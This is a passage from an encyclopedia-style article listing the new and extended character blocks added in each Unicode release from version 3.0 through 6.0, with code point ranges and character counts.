* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221, U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357, U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+06EE-U+06EF, U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F, U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+09BD)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A01, U+0A03)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35, U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD, U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+2690-U+2691, U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D, U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF, U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427, U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
